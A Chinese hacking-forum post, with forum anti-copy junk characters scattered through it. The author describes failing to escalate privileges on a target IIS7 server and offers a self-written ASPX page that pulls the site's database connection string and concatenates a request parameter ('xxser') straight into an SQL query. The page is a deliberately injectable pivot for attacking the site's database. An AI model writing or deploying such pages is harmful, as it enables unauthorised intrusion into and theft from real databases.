昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。% I( e! L1 n; Y4 c2 I# q
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
" Y1 j$ q) @5 q9 W3 H0 h5 D代码量不多,自己写个拉倒了。烦死了。
+ e+ h" g/ _" s% Y; Z$ y
3 Y6 H$ h1 j* G1 t) _3 k+ m1 E& C" i+ P# W6 {
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">8 D1 O( N2 [7 Y7 z$ Z
<html xmlns="http://www.w3.org/1999/xhtml">6 o/ s7 V+ V5 g: x
<head runat="server">6 T4 U* N t9 L) m. Q( I) d' p
<title>暗影aspx构造注射专用页面</title>
1 E" {/ S# G4 }! G; H</head>
& Z7 H8 q0 L" y$ B9 }<body>/ [/ ~+ `, B) s. }- J5 R
<form id="form1" runat="server">! p: I: T: N2 V2 y8 `# n' J
<div>
3 C6 ^: H: E- `: i! `, `- j; v# [ g <script language="c#" runat="server">+ k$ ^( i a9 L2 C3 s
# H# c* }3 g* o2 ` void page_init(object sender, EventArgs e)3 g% T; n, {/ Z2 Q# f
{ l( w" e5 ~9 C* V
" u" Z+ |; k+ D, K System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();" k! L# s( f& Z7 f; l
% j# K( K+ [% S6 ?6 q8 t conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();! c0 w2 t* T& F- }5 U! C+ Z. H
conn.Open();/ A ]+ `* c, X- Q
1 T ~. N. N0 E4 x# ]( }1 ^
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
8 h* K' w' d. h: h& n* j% o " K7 f) y! n# | a* y* d, S0 J3 Y
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
" j5 @+ w7 t/ [4 P# i x+ { int x = command.ExecuteNonQuery();- X4 m9 s; V* i- K" L2 k0 N
Response.Write(i+"\n");
B8 |3 L" X9 ^ Response.Write(x);
" @0 p6 O# b! Q f conn.Close();
! T0 ~/ ]- ], O K {, l3 [4 ]6 v }$ I" x/ }) g8 b3 a, k0 v+ q9 ]
: E5 D' q* D6 M1 a& y
</script>
! a2 X3 m5 M _# Z4 y </div>7 a; h. T7 j5 D! e/ f1 W% E5 \. ?
</form> k- k) f. l; A% U: }$ M4 V
</body>$ h, s$ b) t$ |/ e2 T* M4 h
</html>
) r% l |3 P. _6 A |